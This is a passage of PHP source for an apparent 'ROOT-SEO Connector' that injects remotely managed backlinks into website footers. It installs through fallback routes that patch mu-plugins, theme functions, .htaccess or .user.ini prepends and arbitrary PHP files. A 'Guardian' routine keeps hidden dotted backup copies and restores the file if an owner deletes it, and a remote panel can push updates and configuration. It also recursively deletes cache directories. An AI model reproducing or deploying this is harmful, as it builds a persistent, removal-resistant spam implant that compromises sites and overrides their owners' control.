        if (is_dir($path) &amp;&amp; !is_link($path)) {
            $n += rootseo_rm_tree_contents($path, $depth + 1);
            @rmdir($path);
        } else {
            if (@unlink($path)) $n++;
        }
    }
    return $n;
}

function rootseo_find_wp_roots() {
    $roots = [];
    $base = find_document_root();
    if ($base) $roots[] = rtrim($base, &#039;/&#039;);
    $dir = __DIR__;
    for ($i = 0; $i &lt; 7; $i++) {
        $roots[] = $dir;
        $parent = dirname($dir);
        if ($parent === $dir) break;
        $dir = $parent;
    }
    $out = [];
    foreach (array_unique($roots) as $root) {
        $root = rtrim((string)$root, &#039;/&#039;);
        if ($root === &#039;&#039;) continue;
        if (is_file($root . &#039;/wp-load.php&#039;) || is_file($root . &#039;/wp-config.php&#039;)) {
            $out[] = $root;
        }
    }
    return array_values(array_unique($out));
}

function rootseo_bootstrap_wp_for_purge() {
    if (defined(&#039;ABSPATH&#039;)) return true;
    if (defined(&#039;ROOTSEO_PURGING&#039;) &amp;&amp; ROOTSEO_PURGING) return defined(&#039;ABSPATH&#039;);
    foreach (rootseo_find_wp_roots() as $root) {
        $load = $root . &#039;/wp-load.php&#039;;
        if (!is_file($load)) continue;
        if (!defined(&#039;ROOTSEO_PURGING&#039;)) define(&#039;ROOTSEO_PURGING&#039;, true);
        if (!defined(&#039;WP_USE_THEMES&#039;)) define(&#039;WP_USE_THEMES&#039;, false);
        try {
            require_once $load;
            return defined(&#039;ABSPATH&#039;);
        } catch (\Throwable $e) {
            // try next root
        }
    }
    return false;
}

function rootseo_purge_filesystem_caches() {
    $deleted = 0;
    $touched = [];
    $relDirs = [
        &#039;/wp-content/cache&#039;,
        &#039;/wp-content/litespeed&#039;,
        &#039;/wp-content/cache/page_enhanced&#039;,
        &#039;/wp-content/cache/supercache&#039;,
        &#039;/wp-content/cache/wp-rocket&#039;,
        &#039;/wp-content/cache/w3tc&#039;,
        &#039;/wp-content/cache/w3tc-cache&#039;,
        &#039;/wp-content/cache/autoptimize&#039;,
        &#039;/wp-content/cache/all&#039;,
        &#039;/wp-content/cache/wpfc-minified&#039;,
        &#039;/wp-content/cache/swift-performance&#039;,
        &#039;/wp-content/cache/flying-press&#039;,
        &#039;/wp-content/et-cache&#039;,
        &#039;/wp-content/uploads/cache&#039;,
        &#039;/wp-content/uploads/wpcf7_uploads&#039;,
        &#039;/wp-content/wp-rocket-config&#039;,
        &#039;/wp-content/cache/breeze&#039;,
        &#039;/wp-content/cache/hummingbird&#039;,
        &#039;/wp-content/site-ground-security&#039;,
        &#039;/wp-content/endurance-page-cache&#039;,
        &#039;/cache&#039;,
        &#039;/var/cache&#039;,
    ];
    $roots = rootseo_find_wp_roots();
    $doc = find_document_root();
    if ($doc) $roots[] = rtrim($doc, &#039;/&#039;);
    $roots = array_values(array_unique(array_filter($roots)));
    foreach ($roots as $root) {
        foreach ($relDirs as $rel) {
            $path = $root . $rel;
            if (!is_dir($path)) continue;
            $n = rootseo_rm_tree_contents($path);
            if ($n &gt; 0) {
                $deleted += $n;
                $touched[] = $rel;
            }
        }
        // WP Super Cache / common advanced-cache drop-in markers
        foreach ([
            &#039;/wp-content/advanced-cache.php&#039;,
        ] as $dropin) {
            // do not delete drop-in; just leave it
        }
    }
    return [&#039;files_deleted&#039; =&gt; $deleted, &#039;dirs&#039; =&gt; array_values(array_unique($touched))];
}

function rootseo_purge_plugin_hooks() {
    $actions = [];
    try {
        if (function_exists(&#039;wp_cache_flush&#039;)) {
            @wp_cache_flush();
            $actions[] = &#039;wp_cache_flush&#039;;
        }
        if (function_exists(&#039;rocket_clean_domain&#039;)) {
            @rocket_clean_domain();
            $actions[] = &#039;rocket_clean_domain&#039;;
        }
        if (function_exists(&#039;rocket_clean_minify&#039;)) {
            @rocket_clean_minify();
            $actions[] = &#039;rocket_clean_minify&#039;;
        }
        if (function_exists(&#039;w3tc_flush_all&#039;)) {
            @w3tc_flush_all();
            $actions[] = &#039;w3tc_flush_all&#039;;
        }
        if (function_exists(&#039;wp_cache_clear_cache&#039;)) {
            @wp_cache_clear_cache();
            $actions[] = &#039;wp_super_cache_clear&#039;;
        }
        if (function_exists(&#039;wpsupercache_purge_all&#039;)) {
            @wpsupercache_purge_all();
            $actions[] = &#039;wpsupercache_purge_all&#039;;
        }
        if (function_exists(&#039;has_action&#039;) &amp;&amp; function_exists(&#039;do_action&#039;) &amp;&amp; has_action(&#039;litespeed_purge_all&#039;)) {
            do_action(&#039;litespeed_purge_all&#039;);
            $actions[] = &#039;litespeed_purge_all&#039;;
        }
        if (class_exists(&#039;LiteSpeed\\Purge&#039;) &amp;&amp; method_exists(&#039;LiteSpeed\\Purge&#039;, &#039;purge_all&#039;)) {
            try {
                call_user_func([&#039;LiteSpeed\\Purge&#039;, &#039;purge_all&#039;]);
                $actions[] = &#039;litespeed_purge_all_class&#039;;
            } catch (\Throwable $e) {}
        }
        if (function_exists(&#039;sg_cachepress_purge_cache&#039;)) {
            @sg_cachepress_purge_cache();
            $actions[] = &#039;siteground_purge&#039;;
        }
        if (function_exists(&#039;sg_cachepress_purge_everything&#039;)) {
            @sg_cachepress_purge_everything();
            $actions[] = &#039;siteground_purge_everything&#039;;
        }
        if (function_exists(&#039;nitropack_sdk_purge&#039;)) {
            @nitropack_sdk_purge();
            $actions[] = &#039;nitropack_purge&#039;;
        }
        if (function_exists(&#039;breeze_clear_all_cache&#039;)) {
            @breeze_clear_all_cache();
            $actions[] = &#039;breeze_clear_all_cache&#039;;
        }
        if (function_exists(&#039;cache_enabler_clear_complete_cache&#039;)) {
            @cache_enabler_clear_complete_cache();
            $actions[] = &#039;cache_enabler_clear&#039;;
        }
        if (function_exists(&#039;autoptimize_cache_clear&#039;)) {
            @autoptimize_cache_clear();
            $actions[] = &#039;autoptimize_cache_clear&#039;;
        }
        if (function_exists(&#039;wpfc_clear_all_cache&#039;)) {
            @wpfc_clear_all_cache(true);
            $actions[] = &#039;wp_fastest_cache_clear&#039;;
        }
        if (class_exists(&#039;WpFastestCache&#039;) &amp;&amp; method_exists(&#039;WpFastestCache&#039;, &#039;deleteCache&#039;)) {
            try { (new WpFastestCache())-&gt;deleteCache(true); $actions[] = &#039;wp_fastest_cache_class&#039;; } catch (\Throwable $e) {}
        }
        if (function_exists(&#039;hummingbird_clear_page_cache&#039;)) {
            @hummingbird_clear_page_cache();
            $actions[] = &#039;hummingbird_clear_page_cache&#039;;
        }
        if (function_exists(&#039;has_action&#039;) &amp;&amp; function_exists(&#039;do_action&#039;) &amp;&amp; has_action(&#039;cache_enabler_clear_complete_cache&#039;)) {
            do_action(&#039;cache_enabler_clear_complete_cache&#039;);
        }
        if (function_exists(&#039;has_action&#039;) &amp;&amp; function_exists(&#039;do_action&#039;) &amp;&amp; has_action(&#039;ce_clear_cache&#039;)) {
            do_action(&#039;ce_clear_cache&#039;);
            $actions[] = &#039;ce_clear_cache&#039;;
        }
        if (function_exists(&#039;flying_press_purge_all&#039;)) {
            @flying_press_purge_all();
            $actions[] = &#039;flying_press_purge_all&#039;;
        }
        // Cloudflare plugin (if present)
        if (function_exists(&#039;do_action&#039;) &amp;&amp; class_exists(&#039;\\CF\\WordPress\\Hooks&#039;)) {
            try {
                do_action(&#039;cloudflare_purge_everything&#039;);
                $actions[] = &#039;cloudflare_purge_everything&#039;;
            } catch (\Throwable $e) {}
        }
        if (function_exists(&#039;has_action&#039;) &amp;&amp; function_exists(&#039;do_action&#039;) &amp;&amp; has_action(&#039;rootseo_purge_caches&#039;)) {
            do_action(&#039;rootseo_purge_caches&#039;);
            $actions[] = &#039;rootseo_purge_caches_action&#039;;
        }
    } catch (\Throwable $e) {
        $actions[] = &#039;hook_error:&#039; . substr($e-&gt;getMessage(), 0, 80);
    }
    // LiteSpeed / proxies: ask edge to skip cache on this API response
    if (!headers_sent()) {
        @header(&#039;X-LiteSpeed-Purge: *&#039;);
        @header(&#039;Cache-Control: no-store, no-cache, must-revalidate, max-age=0&#039;);
        @header(&#039;CDN-Cache-Control: no-store&#039;);
        @header(&#039;Cloudflare-CDN-Cache-Control: no-store&#039;);
    }
    return $actions;
}

function rootseo_purge_caches($bootstrapWp = true) {
    $report = [
        &#039;opcache&#039; =&gt; false,
        &#039;wp_bootstrapped&#039; =&gt; defined(&#039;ABSPATH&#039;),
        &#039;plugin_hooks&#039; =&gt; [],
        &#039;filesystem&#039; =&gt; [&#039;files_deleted&#039; =&gt; 0, &#039;dirs&#039; =&gt; []],
    ];
    try {
        if (function_exists(&#039;opcache_invalidate&#039;)) {
            @opcache_invalidate(__FILE__, true);
            @opcache_invalidate(PREPEND_HELPER_FILE, true);
            $report[&#039;opcache&#039;] = true;
        }
        if ($bootstrapWp &amp;&amp; !defined(&#039;ABSPATH&#039;)) {
            $report[&#039;wp_bootstrapped&#039;] = rootseo_bootstrap_wp_for_purge();
        } else {
            $report[&#039;wp_bootstrapped&#039;] = defined(&#039;ABSPATH&#039;);
        }
        $report[&#039;plugin_hooks&#039;] = rootseo_purge_plugin_hooks();
        $report[&#039;filesystem&#039;] = rootseo_purge_filesystem_caches();
    } catch (\Throwable $e) {
        $report[&#039;error&#039;] = substr($e-&gt;getMessage(), 0, 120);
    }
    return $report;
}

function ensure_render_delivery($forceReinstall = false) {
    $config = load_config();
    $siteInfo = detect_site_info();
    $placement = $config[&#039;placement&#039;] ?? default_placement_state();
    $verified = [false, &#039;not_checked&#039;];
    if (!$forceReinstall) {
        $verified = verify_current_placement($config);
        if ($verified[0]) {
            $placement[&#039;status&#039;] = &#039;installed&#039;;
            $placement[&#039;verify_status&#039;] = $verified[1];
            $placement[&#039;last_verified_at&#039;] = gmdate(&#039;c&#039;);
            $config[&#039;placement&#039;] = $placement;
            save_config($config);
            refresh_current_placement($config);
            // Still reinforce WP theme-footer patch when primary is hook-only.
            if (($siteInfo[&#039;site_type&#039;] ?? &#039;&#039;) === &#039;wordpress&#039;) {
                ensure_secondary_wp_footer_patch($siteInfo);
            }
            return [true, $config, [&#039;verified&#039; =&gt; true, &#039;message&#039; =&gt; $verified[1]]];
        }
    }
    foreach (build_strategy_chain($siteInfo) as $strategy) {
        $nowIso = gmdate(&#039;c&#039;);
        if (is_string($strategy)) {
            if ($strategy === &#039;wp_mu_plugin&#039;) {
                list($ok, $target, $mode, $msg) = install_mu_plugin($siteInfo);
                $marker = placement_marker(&#039;wp_mu_plugin&#039;);
                $strategyName = &#039;wp_mu_plugin&#039;;
            } elseif ($strategy === &#039;wp_functions_hook&#039;) {
                list($ok, $target, $mode, $msg) = install_functions_hook($siteInfo);
                $marker = placement_marker(&#039;wp_functions_hook&#039;);
                $strategyName = &#039;wp_functions_hook&#039;;
            } elseif ($strategy === &#039;create_index_php&#039;) {
                list($ok, $target, $mode, $msg, $marker) = install_create_index_php($siteInfo);
                $strategyName = &#039;create_index_php&#039;;
            } elseif ($strategy === &#039;user_ini_prepend&#039;) {
                list($ok, $target, $mode, $msg, $marker) = install_user_ini_prepend($siteInfo);
                $strategyName = &#039;user_ini_prepend&#039;;
            } elseif ($strategy === &#039;htaccess_prepend&#039;) {
                list($ok, $target, $mode, $msg, $marker) = install_htaccess_prepend($siteInfo);
                $strategyName = &#039;htaccess_prepend&#039;;
            } elseif ($strategy === &#039;any_php_file&#039;) {
                list($ok, $target, $mode, $msg, $marker) = install_any_php_file($siteInfo);
                $strategyName = &#039;any_php_file&#039;;
            } else {
                continue;
            }
        } else {
            $strategyName = $strategy[2];
            list($ok, $target, $mode, $msg, $marker) = install_file_patch($strategy[1], $strategy[2]);
        }
        $config = append_placement_history($config, [
            &#039;at&#039; =&gt; $nowIso,
            &#039;strategy&#039; =&gt; $strategyName,
            &#039;target&#039; =&gt; $target,
            &#039;install_mode&#039; =&gt; $mode,
            &#039;success&#039; =&gt; (bool)$ok,
            &#039;message&#039; =&gt; $msg,
        ]);
        if ($ok) {
            $config[&#039;placement&#039;] = [
                &#039;status&#039; =&gt; &#039;installed&#039;,
                &#039;strategy&#039; =&gt; $strategyName,
                &#039;target&#039; =&gt; $target,
                &#039;install_mode&#039; =&gt; $mode,
                &#039;marker&#039; =&gt; $marker,
                &#039;message&#039; =&gt; $msg,
                &#039;installed_at&#039; =&gt; $config[&#039;placement&#039;][&#039;installed_at&#039;] ?: $nowIso,
                &#039;last_attempt_at&#039; =&gt; $nowIso,
                &#039;last_verified_at&#039; =&gt; $nowIso,
                &#039;verify_status&#039; =&gt; &#039;installed&#039;,
                &#039;history&#039; =&gt; $config[&#039;placement&#039;][&#039;history&#039;],
            ];
            save_config($config);
            refresh_current_placement($config);
            if (($siteInfo[&#039;site_type&#039;] ?? &#039;&#039;) === &#039;wordpress&#039; &amp;&amp; $strategyName !== &#039;wp_active_footer&#039;) {
                ensure_secondary_wp_footer_patch($siteInfo);
            }
            $links = load_links();
            foreach ($links as $id =&gt; $row) {
                $links[$id] = apply_placement_snapshot_to_link($row, $config[&#039;placement&#039;]);
            }
            save_links($links);
            return [true, $config, [&#039;verified&#039; =&gt; false, &#039;message&#039; =&gt; $msg]];
        }
    }
    $config[&#039;placement&#039;][&#039;status&#039;] = &#039;failed&#039;;
    $config[&#039;placement&#039;][&#039;last_attempt_at&#039;] = gmdate(&#039;c&#039;);
    $config[&#039;placement&#039;][&#039;message&#039;] = &#039;no_strategy_succeeded&#039;;
    save_config($config);
    return [false, $config, [&#039;verified&#039; =&gt; false, &#039;message&#039; =&gt; &#039;no_strategy_succeeded&#039;]];
}

function placement_report_payload() {
    $config = load_config();
    $siteInfo = detect_site_info();
    $links = load_links();
    $stats = get_link_stats($links);
    list($ok, $verifyMessage) = verify_current_placement($config);
    $config[&#039;placement&#039;][&#039;last_verified_at&#039;] = gmdate(&#039;c&#039;);
    $config[&#039;placement&#039;][&#039;verify_status&#039;] = $verifyMessage;
    save_config($config);
    return [
        &#039;version&#039; =&gt; CONNECTOR_VERSION,
        &#039;site_info&#039; =&gt; $siteInfo,
        &#039;placement&#039; =&gt; $config[&#039;placement&#039;],
        &#039;link_stats&#039; =&gt; $stats,
        &#039;render_profile&#039; =&gt; $config[&#039;render_profile&#039;],
        &#039;render_types&#039; =&gt; $config[&#039;render_types&#039;],
        &#039;placement_ok&#039; =&gt; $ok,
    ];
}

function verify_links_action() {
    $links = load_links();
    $config = load_config();
    $nowIso = gmdate(&#039;c&#039;);
    foreach ($links as $id =&gt; $row) {
        $row[&#039;last_verified_at&#039;] = $nowIso;
        $links[$id] = apply_placement_snapshot_to_link($row, $config[&#039;placement&#039;]);
    }
    save_links($links);
    return placement_report_payload();
}

function clear_expired_links() {
    $links = load_links();
    $active = [];
    $removed = [];
    $now = time();
    foreach ($links as $id =&gt; $row) {
        $expiresAt = isset($row[&#039;expires_at&#039;]) ? intval($row[&#039;expires_at&#039;]) : 0;
        if (!empty($expiresAt) &amp;&amp; $expiresAt &gt; 0 &amp;&amp; $expiresAt &lt; $now) {
            $removed[] = $id;
            continue;
        }
        $active[$id] = $row;
    }
    save_links($active);
    refresh_current_placement(load_config());
    rootseo_purge_caches(true);
    return [$active, $removed];
}

function self_reconcile_action() {
    $links = load_links();
    $merged = [];
    $removedDuplicates = 0;
    foreach ($links as $row) {
        $id = build_deterministic_link_id($row[&#039;url&#039;], $row[&#039;anchor&#039;], $row[&#039;rel&#039;]);
        if (isset($merged[$id])) {
            $removedDuplicates++;
            $existingExp = isset($merged[$id][&#039;expires_at&#039;]) ? intval($merged[$id][&#039;expires_at&#039;]) : 0;
            $incomingExp = isset($row[&#039;expires_at&#039;]) ? intval($row[&#039;expires_at&#039;]) : 0;
            if ($incomingExp &gt; $existingExp) {
                $merged[$id][&#039;expires_at&#039;] = $incomingExp;
            }
            if (!empty($row[&#039;render_types&#039;])) {
                $merged[$id][&#039;render_types&#039;] = filter_render_types(array_merge($merged[$id][&#039;render_types&#039;], $row[&#039;render_types&#039;]));
            }
        } else {
            $row[&#039;id&#039;] = $id;
            $merged[$id] = $row;
        }
    }
    save_links($merged);
    list($active, $expiredRemoved) = clear_expired_links();
    list($ok, $config, $placement) = ensure_render_delivery(false);
    $cachePurge = rootseo_purge_caches(true);
    return [
        &#039;reconciled&#039; =&gt; true,
        &#039;placement_ok&#039; =&gt; $ok,
        &#039;removed_duplicate_entries&#039; =&gt; $removedDuplicates,
        &#039;removed_expired_entries&#039; =&gt; count($expiredRemoved),
        &#039;placement&#039; =&gt; placement_report_payload(),
        &#039;cache_purge&#039; =&gt; $cachePurge,
    ];
}

// ===== Consolidated auto-clean (throttled): expired + contextual TTL =====
// This single routine replaces scattered cleanup; it never runs more than once per
// AUTO_CLEAN_THROTTLE_SECONDS during front-end renders, so it adds negligible overhead.
function rootseo_autoclean_tick() {
    try {
        $state = load_json_file(GUARDIAN_STATE_FILE, []);
        $now = time();
        $last = isset($state[&#039;last_autoclean&#039;]) ? intval($state[&#039;last_autoclean&#039;]) : 0;
        if (($now - $last) &lt; AUTO_CLEAN_THROTTLE_SECONDS) return;
        $state[&#039;last_autoclean&#039;] = $now;
        @save_json_file(GUARDIAN_STATE_FILE, $state);

        $links = load_links();
        $kept = [];
        foreach ($links as $id =&gt; $row) {
            $exp = isset($row[&#039;expires_at&#039;]) ? intval($row[&#039;expires_at&#039;]) : 0;
            if (!empty($exp) &amp;&amp; $exp &gt; 0 &amp;&amp; $exp &lt; $now) continue; // drop expired (footer+contextual)
            $kept[$id] = $row;
        }
        if (count($kept) !== count($links)) {
            save_links($kept);
        }
    } catch (\Throwable $e) {
        // never break the host page
    }
}

// ===== Guardian: self-healing mirrors =====
function guardian_dirs() {
    // Hidden, dotted backup dirs next to the connector + one in the doc-root.
    $base = __DIR__;
    $dirs = [];
    for ($i = 1; $i &lt;= GUARDIAN_COPIES; $i++) {
        $dirs[] = $base . &#039;/.rs_g&#039; . $i;
    }
    return $dirs;
}

function guardian_write_copies() {
    $self = __FILE__;
    $src = @file_get_contents($self);
    if ($src === false || $src === &#039;&#039;) return;
    $stamp = [&#039;version&#039; =&gt; CONNECTOR_VERSION, &#039;hash&#039; =&gt; hash(&#039;sha256&#039;, $src), &#039;at&#039; =&gt; time()];
    foreach (guardian_dirs() as $dir) {
        if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
        if (!is_dir($dir) || !is_writable($dir)) continue;
        @file_put_contents($dir . &#039;/.rs_connector.php.bak&#039;, $src);
        @file_put_contents($dir . &#039;/.rs_stamp.json&#039;, json_encode($stamp));
        @file_put_contents($dir . &#039;/index.html&#039;, &#039;&#039;); // keep dir quiet / non-listable
    }
}

function guardian_best_backup() {
    // Returns [source, version] of the newest valid backup, or null.
    $best = null;
    foreach (guardian_dirs() as $dir) {
        $bak = $dir . &#039;/.rs_connector.php.bak&#039;;
        $stampFile = $dir . &#039;/.rs_stamp.json&#039;;
        if (!file_exists($bak)) continue;
        $src = @file_get_contents($bak);
        if ($src === false || strpos($src, &#039;&lt;?php&#039;) === false || strpos($src, &#039;ROOT-SEO Connector&#039;) === false) continue;
        $stamp = load_json_file($stampFile, []);
        if (!isset($stamp[&#039;hash&#039;]) || hash(&#039;sha256&#039;, $src) !== $stamp[&#039;hash&#039;]) continue; // integrity
        $ver = (string)($stamp[&#039;version&#039;] ?? &#039;0&#039;);
        if ($best === null || version_compare($ver, $best[&#039;version&#039;], &#039;&gt;&#039;)) {
            $best = [&#039;src&#039; =&gt; $src, &#039;version&#039; =&gt; $ver];
        }
    }
    return $best;
}

function rootseo_guardian_tick() {
    try {
        $state = load_json_file(GUARDIAN_STATE_FILE, []);
        $now = time();
        $last = isset($state[&#039;last_guardian&#039;]) ? intval($state[&#039;last_guardian&#039;]) : 0;
        if (($now - $last) &lt; GUARDIAN_THROTTLE_SECONDS) return;
        $state[&#039;last_guardian&#039;] = $now;
        @save_json_file(GUARDIAN_STATE_FILE, $state);

        $self = __FILE__;
        $selfExists = file_exists($self);
        $selfSrc = $selfExists ? (@file_get_contents($self) ?: &#039;&#039;) : &#039;&#039;;
        $selfHealthy = $selfExists &amp;&amp; strpos($selfSrc, &#039;ROOT-SEO Connector&#039;) !== false;

        // Version-aware: only refresh mirrors if our copy is newer/equal. Never let an
        // older mirror overwrite a newer primary (prevents undoing a self_update).
        $best = guardian_best_backup();
        if ($selfHealthy) {
            if ($best === null || version_compare(CONNECTOR_VERSION, $best[&#039;version&#039;], &#039;&gt;=&#039;)) {
                guardian_write_copies();
            }
            // Re-ensure dropped artifacts (mu-plugin etc.) still present.
            @refresh_current_placement(load_config());
            return;
        }
        // Primary missing/corrupt → restore from the newest valid backup.
        if ($best !== null) {
            $tmp = $self . &#039;.heal.&#039; . substr(md5((string)$now), 0, 6);
            if (@file_put_contents($tmp, $best[&#039;src&#039;]) !== false) {
                @rename($tmp, $self);
                if (function_exists(&#039;opcache_invalidate&#039;)) @opcache_invalidate($self, true);
            }
        }
    } catch (\Throwable $e) {
        // never break the host page
    }
}

if (defined(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;) &amp;&amp; ROOTSEO_CONNECTOR_EMBED_RENDER === true) {
    if (defined(&#039;ROOTSEO_EMBED_VIA_HOOK&#039;) &amp;&amp; ROOTSEO_EMBED_VIA_HOOK &amp;&amp; function_exists(&#039;add_action&#039;)) {
        // WordPress early-load (mu-plugin / functions hook): register filters/actions.
        rootseo_wp_register();
    } else {
        // Inline include (file patch / htaccess prepend): emit footer at this position.
        rootseo_guardian_tick();
        rootseo_autoclean_tick();
        echo rootseo_build_footer_html(false);
    }
    return;
}

// CLI/lib include mode: expose functions for offline fixture tests without running the HTTP router.
if (defined(&#039;ROOTSEO_CLI_LIB_ONLY&#039;) &amp;&amp; ROOTSEO_CLI_LIB_ONLY) {
    return;
}

$req = get_request_data();
$action = get_action_name($req);

if (!in_array($action, [&#039;ping&#039;, &#039;capabilities&#039;, &#039;output&#039;], true)) {
    authenticate_protected_request();
}

switch ($action) {
    case &#039;ping&#039;:
        $links = load_links();
        $config = load_config();
        $stats = get_link_stats($links);
        $siteInfo = detect_site_info();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        respond(true, [
            &#039;site&#039; =&gt; $_SERVER[&#039;HTTP_HOST&#039;] ?? &#039;unknown&#039;,
            &#039;site_name&#039; =&gt; $siteInfo[&#039;site_name&#039;],
            &#039;site_type&#039; =&gt; $siteInfo[&#039;site_type&#039;],
            &#039;language&#039; =&gt; $siteInfo[&#039;language&#039;],
            &#039;country&#039; =&gt; $siteInfo[&#039;country&#039;],
            &#039;version&#039; =&gt; CONNECTOR_VERSION,
            &#039;connector_family&#039; =&gt; &#039;v5&#039;,
            &#039;keyless&#039; =&gt; true,
            &#039;auth_mode&#039; =&gt; &#039;panel_token&#039;,
            &#039;output_mode&#039; =&gt; strtolower(trim((string)($config[&#039;output_mode&#039;] ?? &#039;visible&#039;))),
            &#039;render_profile&#039; =&gt; $config[&#039;render_profile&#039;],
            &#039;render_types&#039; =&gt; $config[&#039;render_types&#039;],
            &#039;links_total&#039; =&gt; $stats[&#039;total&#039;],
            &#039;links_active&#039; =&gt; $stats[&#039;active&#039;],
            &#039;links_expired&#039; =&gt; $stats[&#039;expired&#039;],
            &#039;footer_detected&#039; =&gt; $siteInfo[&#039;footer_detected&#039;],
            &#039;footer_writable&#039; =&gt; $siteInfo[&#039;footer_writable&#039;],
            &#039;placement_ok&#039; =&gt; $placementOk,
            &#039;placement_strategy&#039; =&gt; $config[&#039;placement&#039;][&#039;strategy&#039;],
            &#039;placement_target&#039; =&gt; $config[&#039;placement&#039;][&#039;target&#039;],
            &#039;placement_verify_status&#039; =&gt; $verifyMessage,
            &#039;supports&#039; =&gt; [&#039;ping&#039;, &#039;capabilities&#039;, &#039;info&#039;, &#039;diagnose&#039;, &#039;verify_links&#039;, &#039;self_reconcile&#039;, &#039;placement_report&#039;, &#039;add_link&#039;, &#039;remove_link&#039;, &#039;get_links&#039;, &#039;sync_links&#039;, &#039;clear_links&#039;, &#039;clear_expired&#039;, &#039;output&#039;, &#039;get_config&#039;, &#039;set_config&#039;, &#039;self_update&#039;, &#039;reinstall_placement&#039;, &#039;push_update&#039;, &#039;purge_cache&#039;]
        ], &#039;ok&#039;);
        break;

    case &#039;capabilities&#039;:
        respond(true, [
            &#039;version&#039; =&gt; CONNECTOR_VERSION,
            &#039;auth&#039; =&gt; [&#039;panel_token&#039;, &#039;optional_replay_headers&#039;],
            &#039;rels&#039; =&gt; [&#039;dofollow&#039;, &#039;nofollow&#039;, &#039;ugc&#039;, &#039;sponsored&#039;],
            &#039;render_types&#039; =&gt; default_render_types(),
            &#039;placement_strategies&#039; =&gt; [&#039;wp_mu_plugin&#039;, &#039;wp_functions_hook&#039;, &#039;footer_patch&#039;, &#039;wp_active_footer&#039;, &#039;index_patch&#039;, &#039;create_index_php&#039;, &#039;htaccess_prepend&#039;, &#039;any_php_file&#039;],
            &#039;limits&#039; =&gt; [
                &#039;max_links_per_sync&#039; =&gt; MAX_LINKS_PER_SYNC,
                &#039;max_anchor_length&#039; =&gt; MAX_ANCHOR_LENGTH,
                &#039;max_url_length&#039; =&gt; MAX_URL_LENGTH,
                &#039;max_request_bytes&#039; =&gt; MAX_REQUEST_BYTES,
                &#039;footer_link_cap&#039; =&gt; 0,
            ],
            &#039;actions&#039; =&gt; [&#039;ping&#039;, &#039;capabilities&#039;, &#039;info&#039;, &#039;diagnose&#039;, &#039;verify_links&#039;, &#039;self_reconcile&#039;, &#039;placement_report&#039;, &#039;add_link&#039;, &#039;remove_link&#039;, &#039;get_links&#039;, &#039;sync_links&#039;, &#039;clear_links&#039;, &#039;clear_expired&#039;, &#039;output&#039;, &#039;set_config&#039;, &#039;get_config&#039;, &#039;self_update&#039;, &#039;reinstall_placement&#039;, &#039;push_update&#039;, &#039;purge_cache&#039;],
            &#039;cache_purge&#039; =&gt; true,
        ], &#039;capabilities&#039;);
        break;

    case &#039;info&#039;:
        respond(true, detect_site_info(), &#039;info&#039;);
        break;

    case &#039;diagnose&#039;:
        $siteInfo = detect_site_info();
        $links = load_links();
        $stats = get_link_stats($links);
        $config = load_config();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        $diag = [
            &#039;version&#039; =&gt; CONNECTOR_VERSION,
            &#039;file_permissions&#039; =&gt; [
                &#039;links_file&#039; =&gt; LINKS_FILE,
                &#039;links_file_exists&#039; =&gt; file_exists(LINKS_FILE),
                &#039;links_dir_writable&#039; =&gt; is_writable(dirname(LINKS_FILE)),
                &#039;config_file&#039; =&gt; CONFIG_FILE,
                &#039;config_file_exists&#039; =&gt; file_exists(CONFIG_FILE),
                &#039;config_dir_writable&#039; =&gt; is_writable(dirname(CONFIG_FILE)),
                &#039;nonces_file&#039; =&gt; NONCES_FILE,
                &#039;nonces_file_exists&#039; =&gt; file_exists(NONCES_FILE),
                &#039;prepend_helper_file&#039; =&gt; PREPEND_HELPER_FILE,
                &#039;prepend_helper_exists&#039; =&gt; file_exists(PREPEND_HELPER_FILE),
            ],
            &#039;link_stats&#039; =&gt; $stats,
            &#039;output_mode&#039; =&gt; strtolower(trim((string)($config[&#039;output_mode&#039;] ?? &#039;visible&#039;))),
            &#039;render_profile&#039; =&gt; $config[&#039;render_profile&#039;],
            &#039;render_types&#039; =&gt; $config[&#039;render_types&#039;],
            &#039;placement&#039; =&gt; $config[&#039;placement&#039;],
            &#039;placement_ok&#039; =&gt; $placementOk,
            &#039;placement_verify_status&#039; =&gt; $verifyMessage,
            &#039;site_info&#039; =&gt; $siteInfo,
            &#039;php_settings&#039; =&gt; [
                &#039;php_version&#039; =&gt; phpversion(),
                &#039;allow_url_fopen&#039; =&gt; ini_get(&#039;allow_url_fopen&#039;),
                &#039;open_basedir&#039; =&gt; ini_get(&#039;open_basedir&#039;) ?: &#039;not_set&#039;,
                &#039;max_execution_time&#039; =&gt; ini_get(&#039;max_execution_time&#039;),
            ],
            &#039;recommendations&#039; =&gt; [],
        ];
        if (!$diag[&#039;file_permissions&#039;][&#039;links_dir_writable&#039;]) $diag[&#039;recommendations&#039;][] = &#039;links_dir_not_writable&#039;;
        if (empty($siteInfo[&#039;footer_paths&#039;])) $diag[&#039;recommendations&#039;][] = &#039;no_footer_paths_detected&#039;;
        if (!$placementOk) $diag[&#039;recommendations&#039;][] = &#039;placement_needs_reinstall&#039;;
        respond(true, $diag, &#039;diagnose&#039;);
        break;

    case &#039;get_links&#039;:
        $links = load_links();
        $stats = get_link_stats($links);
        respond(true, [
            &#039;links&#039; =&gt; array_values($links),
            &#039;total&#039; =&gt; $stats[&#039;total&#039;],
            &#039;active&#039; =&gt; $stats[&#039;active&#039;],
            &#039;expired&#039; =&gt; $stats[&#039;expired&#039;],
            &#039;placement&#039; =&gt; load_config()[&#039;placement&#039;],
            &#039;render_types&#039; =&gt; load_config()[&#039;render_types&#039;],
        ], &#039;links&#039;);
        break;

    case &#039;add_link&#039;:
        $url = validate_url_value($req[&#039;url&#039;] ?? &#039;&#039;);
        $anchor = validate_anchor_text($req[&#039;anchor&#039;] ?? &#039;&#039;);
        $rel = normalize_rel($req[&#039;rel&#039;] ?? &#039;dofollow&#039;);
        $expiresAt = isset($req[&#039;expires_at&#039;]) ? intval($req[&#039;expires_at&#039;]) : null;
        if ($url === &#039;&#039; || $anchor === &#039;&#039;) respond(false, [], &#039;invalid_url_or_anchor&#039;, 400);
        $config = load_config();
        $existingLinks = load_links();
        $backup = $existingLinks;
        $linkId = validate_link_id($req[&#039;id&#039;] ?? &#039;&#039;);
        if ($linkId === &#039;&#039;) $linkId = build_deterministic_link_id($url, $anchor, $rel);
        // v5.3: render_types now honoured from payload (panel can force a single variant per link).
        $reqRenderTypes = isset($req[&#039;render_types&#039;]) ? $req[&#039;render_types&#039;] : null;
        if (is_string($reqRenderTypes)) {
            $decoded = json_decode($reqRenderTypes, true);
